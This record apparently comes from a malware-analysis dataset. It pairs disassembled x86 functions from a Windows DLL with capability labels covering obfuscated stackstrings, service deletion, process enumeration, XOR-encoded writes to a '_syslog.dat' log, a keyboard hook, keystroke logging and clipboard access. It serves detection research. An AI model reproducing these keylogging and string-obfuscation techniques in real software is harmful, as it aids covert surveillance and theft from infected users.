joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004d00
Capabilities:
Contain obfuscated stackstrings
Delete service

Disassembly:
sub esp, 0x20
mov eax, dword [0x10028ce0]
xor eax, esp
mov dword [esp + 0x1c], eax
mov al, 0x6c
push ebp
mov byte [esp + 0x15], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], al
push esi
mov al, 0x73
mov cl, 0x65
push edi
mov byte [esp + 0x15], al
mov byte [esp + 0x16], al
lea eax, [esp + 0xc]
mov byte [esp + 0x19], cl
mov byte [esp + 0x1c], cl
mov byte [esp + 0x14], cl
mov dl, 0x72
push eax
lea ecx, [esp + 0x1c]
push ecx
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], 0x6e
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], 0
mov byte [esp + 0x14], 0x45
mov byte [esp + 0x15], 0x78
mov byte [esp + 0x16], 0x69
mov byte [esp + 0x17], 0x74
mov byte [esp + 0x18], 0x50
mov byte [esp + 0x19], dl
mov byte [esp + 0x1a], 0x6f
mov byte [esp + 0x1b], 0x63
mov byte [esp + 0x1f], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
call fcn.10004bf0
push 0x30
call fcn.10011a91
add esp, 4
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0x30
mov esi, eax
call fcn.10011a91
add esp, 4
push 0x10000
push 0x1002a9c0
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push 0x30
mov edi, eax
call fcn.10011a91
add esp, 4
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0x30
call fcn.10011a91
add esp, 4
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push 0x30
call fcn.10011a91
add esp, 4
push esi
call edi
push 1
push 0
push 3
call fcn.1000a130
add esp, 0xc
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 1
call fcn.1000a130
add esp, 0xc
push 0
call ebp
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.10012866
add esp, 0x20
ret

Function at 0x10004e60
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
mov eax, dword [0x10028ce0]
xor eax, esp
mov dword [esp + 0x128], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x140]
push 0x30
xor ebx, ebx
call fcn.10011a91
add esp, 4
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x30
mov esi, eax
call fcn.10011a91
push 0x30
mov dword [esp + 0x18], 0x128
call fcn.10011a91
add esp, 8
lea eax, [esp + 0x10]
push eax
push esi
call sub.KERNEL32.dll_Process32First
push 0x30
call fcn.10011a91
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
add esp, 4
lea esp, [esp]
push edi
lea ecx, [esp + 0x38]
push ecx
call ebp
test eax, eax
je 0x10004ef7
push 0x30
call fcn.10011a91
add esp, 4
lea edx, [esp + 0x10]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10004ed0
jmp 0x10004efb
mov ebx, dword [esp + 0x18]
push 0x30
call fcn.10011a91
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x30
call fcn.10011a91
mov ecx, dword [esp + 0x13c]
add esp, 4
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.10012866
add esp, 0x12c
ret
Function at 0x10005730
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get file size

Disassembly:
sub esp, 0x48
mov eax, dword [0x10028ce0]
xor eax, esp
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x4c]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov bl, 0x65
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x38]
push edx
mov dword [esp + 0x1c], eax
mov byte [esp + 0x3c], 0x6b
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x72
mov byte [esp + 0x3f], 0x6e
mov byte [esp + 0x40], bl
mov byte [esp + 0x41], 0x6c
mov byte [esp + 0x42], 0x33
mov byte [esp + 0x43], 0x32
mov byte [esp + 0x44], 0x2e
mov byte [esp + 0x45], 0x64
mov byte [esp + 0x46], 0x6c
mov byte [esp + 0x47], 0x6c
mov byte [esp + 0x48], 0
mov byte [esp + 0x30], 0x43
mov byte [esp + 0x31], 0x72
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0x61
mov byte [esp + 0x34], 0x74
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x46
mov byte [esp + 0x37], 0x69
mov byte [esp + 0x38], 0x6c
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], 0x41
mov byte [esp + 0x3b], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x48]
push ecx
mov byte [esp + 0x4c], 0x6b
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], 0x72
mov byte [esp + 0x4f], 0x6e
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], 0x6c
mov byte [esp + 0x52], 0x33
mov byte [esp + 0x53], 0x32
mov byte [esp + 0x54], 0x2e
mov byte [esp + 0x55], 0x64
mov byte [esp + 0x56], 0x6c
mov byte [esp + 0x57], 0x6c
mov byte [esp + 0x58], 0
mov byte [esp + 0x24], 0x57
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], 0x69
mov byte [esp + 0x27], 0x74
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 0x46
mov byte [esp + 0x2a], 0x69
mov byte [esp + 0x2b], 0x6c
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], 0
call esi
push eax
call edi
mov edx, dword [0x1002a744]
push 0
push 0x80
push 4
push 0
push 2
mov dword [esp + 0x2c], eax
push 0x40000000
add edx, 0xd
push edx
call ebp
mov esi, eax
push 0
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x100058a8
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [esp + 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
push ebp
call fcn.10012890
add esp, 4
mov edi, eax
test ebp, ebp
jle 0x100058de
mov ecx, ebx
sub ecx, edi
mov edx, ebp
lea ebx, [ebx]
mov bl, byte [ecx + eax]
xor bl, 0x62
mov byte [eax], bl
inc eax
sub edx, 1
jne 0x100058d0
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push edi
push esi
call dword [esp + 0x2c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.10012475
mov ecx, dword [esp + 0x58]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10012866
add esp, 0x48
ret
Function at 0x10005ca0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Delete file
Get file attributes

Disassembly:
sub esp, 0x20
mov eax, dword [0x10028ce0]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
cmp byte [esi], 0x1e
push edi
jne 0x10005cc0
call fcn.100067e0
cmp byte [esi], 0x20
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, 0x65
jne 0x10005dc1
mov eax, dword [0x1002a744]
cmp byte [eax + 0xc], 0
sete cl
mov byte [eax + 0xc], cl
mov eax, dword [0x1002a744]
cmp byte [eax + 0xc], 0
jne 0x10005d06
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x10005dc1
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10005dc1
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x20]
push eax
mov byte [esp + 0x24], 0x6b
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x72
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 0x6c
mov byte [esp + 0x2a], 0x33
mov byte [esp + 0x2b], 0x32
mov byte [esp + 0x2c], 0x2e
mov byte [esp + 0x2d], 0x64
mov byte [esp + 0x2e], 0x6c
mov byte [esp + 0x2f], 0x6c
mov byte [esp + 0x30], 0
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x46
mov byte [esp + 0x1f], 0x69
mov byte [esp + 0x20], 0x6c
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x41
mov byte [esp + 0x23], 0
call edi
push eax
call esi
mov ecx, dword [0x1002a744]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
add ecx, 0xd
push ecx
call eax
push eax
call ebp
mov edx, dword [esp + 0x34]
cmp byte [edx], 0x21
jne 0x10005e85
mov eax, dword [0x1002a744]
cmp byte [eax + 0xc], 0
je 0x10005e85
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x20]
push edx
mov byte [esp + 0x24], 0x6b
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x72
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 0x6c
mov byte [esp + 0x2a], 0x33
mov byte [esp + 0x2b], 0x32
mov byte [esp + 0x2c], 0x2e
mov byte [esp + 0x2d], 0x64
mov byte [esp + 0x2e], 0x6c
mov byte [esp + 0x2f], 0x6c
mov byte [esp + 0x30], 0
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x46
mov byte [esp + 0x1f], 0x69
mov byte [esp + 0x20], 0x6c
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x41
mov byte [esp + 0x23], 0
call edi
push eax
call esi
mov ecx, dword [0x1002a744]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
add ecx, 0xd
push ecx
call eax
push eax
call ebp
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10012866
add esp, 0x20
ret 8
Function at 0x10006330
Capabilities:
Read file via mapping

Disassembly:
sub esp, 0x28
cmp dword [0x1002a754], 0
jne 0x1000634c
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1002a754], eax
lea eax, [esp + 0x14]
push esi
mov ecx, eax
push ecx
mov esi, vtable.CShareRestrictedSD.0
lea ecx, [esp + 8]
mov dword [esp + 8], esi
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0xc
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], 0
call fcn.100055d0
push 0x30
mov dword [esp + 0xc], eax
call fcn.10011a91
mov eax, dword [esp + 0xc]
add esp, 4
push str.MyCreateMa
push 0x594
neg eax
push 0
sbb eax, eax
lea edx, [esp + 0x18]
push 4
and eax, edx
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0x30
mov dword [0x1002a748], eax
call fcn.10011a91
add esp, 4
cmp dword [0x1002a748], 0
jne 0x100063f0
mov eax, dword [esp + 8]
mov dword [esp + 4], esi
test eax, eax
je 0x100063e9
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor al, al
pop esi
add esp, 0x28
ret
push 0x30
call fcn.10011a91
mov eax, dword [0x1002a748]
add esp, 4
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0x30
mov dword [0x1002a744], eax
call fcn.10011a91
mov eax, dword [esp + 0xc]
add esp, 4
cmp dword [0x1002a744], 0
mov dword [esp + 4], esi
je 0x100063d5
test eax, eax
je 0x10006442
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
pop esi
add esp, 0x28
ret
Function at 0x10006450
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get file attributes

Disassembly:
sub esp, 0x28
mov eax, dword [0x10028ce0]
xor eax, esp
mov dword [esp + 0x24], eax
push ebx
mov al, 0x65
mov cl, 0x6c
push esi
mov byte [esp + 0xd], cl
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], cl
mov cl, 0x74
push edi
mov byte [esp + 0xd], al
mov byte [esp + 0x10], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x23], al
mov byte [esp + 0x28], al
lea eax, [esp + 0x1c]
mov dl, 0x72
mov byte [esp + 0x1e], cl
mov byte [esp + 0x22], cl
mov byte [esp + 0x2a], cl
push eax
lea ecx, [esp + 0x10]
xor ebx, ebx
push ecx
mov byte [esp + 0x14], 0x6b
mov byte [esp + 0x16], dl
mov byte [esp + 0x17], 0x6e
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x20], bl
mov byte [esp + 0x24], 0x47
mov byte [esp + 0x27], 0x53
mov byte [esp + 0x28], 0x79
mov byte [esp + 0x29], 0x73
mov byte [esp + 0x2c], 0x6d
mov byte [esp + 0x2d], 0x44
mov byte [esp + 0x2e], 0x69
mov byte [esp + 0x2f], dl
mov byte [esp + 0x31], 0x63
mov byte [esp + 0x33], 0x6f
mov byte [esp + 0x34], dl
mov byte [esp + 0x35], 0x79
mov byte [esp + 0x36], 0x41
mov byte [esp + 0x37], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov edi, eax
call fcn.10006330
test al, al
jne 0x10006536
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.10012866
add esp, 0x28
ret
mov edx, dword [0x1002a744]
push 0x594
push ebx
push edx
call fcn.10012980
add esp, 0xc
mov byte [0x1002a740], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1002a758], eax
mov eax, dword [0x1002a744]
mov dword [eax + 8], ebx
mov ecx, dword [0x1002a744]
mov dword [ecx + 4], ebx
mov edx, dword [0x1002a744]
mov dword [edx], ebx
mov eax, dword [0x1002a744]
push 0x80
add eax, 0x511
push ebx
push eax
call fcn.10012980
mov ecx, dword [0x1002a744]
add esp, 0xc
push 0x104
add ecx, 0xd
push ecx
call edi
mov edx, dword [0x1002a744]
push str._syslog.dat
add edx, 0xd
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x30
call fcn.10011a91
mov eax, dword [0x1002a754]
add esp, 4
push str.SetWindowsHookExA
push eax
call esi
push 0x30
mov esi, eax
call fcn.10011a91
mov ecx, dword [0x1002a744]
add esp, 4
add ecx, 0xd
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
mov eax, dword [0x1002a744]
setne dl
mov byte [eax + 0xc], dl
mov ecx, dword [0x1002a744]
cmp dword [ecx + 4], ebx
jne 0x1000661b
mov edx, dword [0x1002a74c]
push ebx
push edx
push 0x10005a90
push 3
call esi
mov ecx, dword [0x1002a744]
mov dword [ecx + 4], eax
mov ecx, dword [esp + 0x30]
pop edi
pop esi
pop ebx
xor ecx, esp
mov al, 1
call fcn.10012866
add esp, 0x28
ret
Function at 0x10006630
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x24
mov eax, dword [0x10028ce0]
xor eax, esp
mov dword [esp + 0x20], eax
push esi
mov esi, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x19], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], cl
mov cl, 0x74
push edi
mov byte [esp + 0x19], al
mov byte [esp + 0x1c], al
mov byte [esp + 0xa], al
mov byte [esp + 0xd], al
mov byte [esp + 0x10], al
lea eax, [esp + 8]
mov byte [esp + 0xc], cl
mov byte [esp + 0x12], cl
mov dl, 0x6e
push eax
lea ecx, [esp + 0x1c]
push ecx
mov dword [esi], vtable.CManager.0
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], dl
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], 0
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x13], 0x61
mov byte [esp + 0x16], 0x45
mov byte [esp + 0x17], 0x76
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x41
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x30]
push esi
mov edi, eax
mov dword [esi + 4], ecx
call fcn.100017f0
push 0
push 0
push 1
push 0
call edi
mov ecx, dword [esp + 0x28]
mov dword [esi + 8], eax
pop edi
mov eax, esi
pop esi
xor ecx, esp
call fcn.10012866
add esp, 0x24
ret 4
Function at 0x10006820
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x48
mov eax, dword [0x10028ce0]
xor eax, esp
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x4c]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x60]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x1c]
mov bl, 0x65
push ecx
lea edx, [esp + 0x38]
push edx
mov dword [esp + 0x1c], eax
mov byte [esp + 0x3c], 0x6b
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x72
mov byte [esp + 0x3f], 0x6e
mov byte [esp + 0x40], bl
mov byte [esp + 0x41], 0x6c
mov byte [esp + 0x42], 0x33
mov byte [esp + 0x43], 0x32
mov byte [esp + 0x44], 0x2e
mov byte [esp + 0x45], 0x64
mov byte [esp + 0x46], 0x6c
mov byte [esp + 0x47], 0x6c
mov byte [esp + 0x48], 0
mov byte [esp + 0x24], 0x57
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], 0x69
mov byte [esp + 0x27], 0x74
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 0x46
mov byte [esp + 0x2a], 0x69
mov byte [esp + 0x2b], 0x6c
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov dword [esp + 0x18], eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x48]
push ecx
mov byte [esp + 0x4c], 0x6b
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], 0x72
mov byte [esp + 0x4f], 0x6e
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], 0x6c
mov byte [esp + 0x52], 0x33
mov byte [esp + 0x53], 0x32
mov byte [esp + 0x54], 0x2e
mov byte [esp + 0x55], 0x64
mov byte [esp + 0x56], 0x6c
mov byte [esp + 0x57], 0x6c
mov byte [esp + 0x58], 0
mov byte [esp + 0x30], 0x43
mov byte [esp + 0x31], 0x72
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0x61
mov byte [esp + 0x34], 0x74
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x46
mov byte [esp + 0x37], 0x69
mov byte [esp + 0x38], 0x6c
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], 0x41
mov byte [esp + 0x3b], 0
call edi
push eax
call ebp
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push esi
call eax
mov edi, eax
cmp edi, 0xffffffff
jne 0x10006986
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x44]
xor ecx, esp
call fcn.10012866
add esp, 0x48
ret
push 2
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [esp + 0x60]
xor esi, esi
mov dword [esp + 0x10], esi
lea ecx, [ecx]
mov ecx, dword [esp + 0x14]
push 0
lea edx, [esp + 0x14]
push edx
mov eax, ebx
sub eax, esi
push eax
add ecx, esi
push ecx
push edi
call dword [esp + 0x2c]
add esi, dword [esp + 0x10]
cmp esi, ebx
jb 0x100069a0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x54]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.10012866
add esp, 0x48
ret
Function at 0x10006c40
Capabilities:
Create directory
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x10020d08
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x10028ce0]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 8], esi
mov eax, dword [esp + 0x1c]
push eax
call fcn.10006630
push 0x104
push 0
push 0x1002a760
mov dword [esp + 0x20], 0
mov dword [esi], vtable.CPluginManager.0
call fcn.10012980
add esp, 0xc
push 0
push 5
push 0x1002a760
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov eax, 0x1002a760
dec eax
jmp 0x10006cb0
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10006cb0
mov ecx, dword [str.Plugin]
mov edx, dword [0x100216d0]
push 0
mov dword [eax], ecx
push 0x1002a760
mov dword [eax + 4], edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x1002a760
call fcn.10011fa5
add esp, 4
push 1
lea eax, [esp + 0x20]
push eax
mov ecx, esi
mov byte [esp + 0x24], 0x81
call fcn.10006740
mov ecx, esi
call fcn.100067c0
push 0
push 0
push 0
push esi
push 0x100069e0
push 0
push 0
call fcn.10009d40
add esp, 0x1c
mov eax, esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret 4
Function at 0x10007540
Capabilities:
Log keystrokes

Disassembly:
mov ecx, dword [esp + 8]
mov eax, 0x24924925
mul ecx
push edi
mov edi, ecx
sub edi, edx
shr edi, 1
add edi, edx
shr edi, 4
lea eax, [edi*8]
sub eax, edi
add eax, eax
add eax, eax
sub ecx, eax
jne 0x100076ce
call fcn.10009810
test edi, edi
jle 0x100076ce
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push esi
mov esi, dword [esp + 0x14]
add esi, 8
mov dword [esp + 0x18], edi
lea ecx, [ecx]
mov eax, dword [esi - 4]
add eax, 0xfffffe00
cmp eax, 8
ja 0x100075bc
movzx ebx, word [esi + 6]
movzx edi, word [esi + 4]
push ebx
push edi
call dword [sym.imp.USER32.dll_SetCursorPos]
push ebx
push edi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [esi - 4]
cmp eax, 0x201
ja 0x1000762a
je 0x1000761b
sub eax, 0x100
cmp eax, 5
ja case.0x10007638.521
jmp dword [eax*4 + 0x100076d4]
mov ecx, dword [esi]
push 0
push 0
push 0
push ecx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
movzx edx, byte [esi]
push eax
push edx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10007638.521
mov eax, dword [esi]
push 0
push 2
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
movzx ecx, byte [esi]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10007638.521
push 0
push 0
push 0
push 0
push 2
jmp 0x100076bb
sub eax, 0x202
cmp eax, 8
ja case.0x10007638.521
jmp dword [eax*4 + 0x100076ec]
push 0
push 0
push 0
push 0
push 4
jmp 0x100076bb
push 0
push 0
push 0
push 0
push 8
jmp 0x100076bb
push 0
push 0
push 0
push 0
push 0x10
jmp 0x100076bb
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x100076bb
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x100076bb
push 0
push 0
push 0
push 0
push 0x20
jmp 0x100076bb
push 0
push 0
push 0
push 0
push 0x40
jmp 0x100076bb
movsx edx, word [esi + 2]
push 0
push edx
push 0
push 0
push 0x800
call ebp
add esi, 0x1c
sub dword [esp + 0x18], 1
jne 0x10007590
pop esi
pop ebp
pop ebx
pop edi
ret 8
Function at 0x100075dd
Capabilities:
Log keystrokes

Disassembly:
mov ecx, dword [esp + 8]
mov eax, 0x24924925
mul ecx
push edi
mov edi, ecx
sub edi, edx
shr edi, 1
add edi, edx
shr edi, 4
lea eax, [edi*8]
sub eax, edi
add eax, eax
add eax, eax
sub ecx, eax
jne 0x100076ce
call fcn.10009810
test edi, edi
jle 0x100076ce
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push esi
mov esi, dword [esp + 0x14]
add esi, 8
mov dword [esp + 0x18], edi
lea ecx, [ecx]
mov eax, dword [esi - 4]
add eax, 0xfffffe00
cmp eax, 8
ja 0x100075bc
movzx ebx, word [esi + 6]
movzx edi, word [esi + 4]
push ebx
push edi
call dword [sym.imp.USER32.dll_SetCursorPos]
push ebx
push edi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [esi - 4]
cmp eax, 0x201
ja 0x1000762a
je 0x1000761b
sub eax, 0x100
cmp eax, 5
ja case.0x10007638.521
jmp dword [eax*4 + 0x100076d4]
mov ecx, dword [esi]
push 0
push 0
push 0
push ecx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
movzx edx, byte [esi]
push eax
push edx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10007638.521
mov eax, dword [esi]
push 0
push 2
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
movzx ecx, byte [esi]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10007638.521
push 0
push 0
push 0
push 0
push 2
jmp 0x100076bb
sub eax, 0x202
cmp eax, 8
ja case.0x10007638.521
jmp dword [eax*4 + 0x100076ec]
push 0
push 0
push 0
push 0
push 4
jmp 0x100076bb
push 0
push 0
push 0
push 0
push 8
jmp 0x100076bb
push 0
push 0
push 0
push 0
push 0x10
jmp 0x100076bb
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x100076bb
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x100076bb
push 0
push 0
push 0
push 0
push 0x20
jmp 0x100076bb
push 0
push 0
push 0
push 0
push 0x40
jmp 0x100076bb
movsx edx, word [esi + 2]
push 0
push edx
push 0
push 0
push 0x800
call ebp
add esi, 0x1c
sub dword [esp + 0x18], 1
jne 0x10007590
pop esi
pop ebp
pop ebx
pop edi
ret 8

Function at 0x10007710
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000776f
push esi
push edi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov edi, dword [esp + 0x10]
push edi
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x10007767
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [esp + 0xc]
push edi
push ecx
push eax
call fcn.10011c40
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
ret 8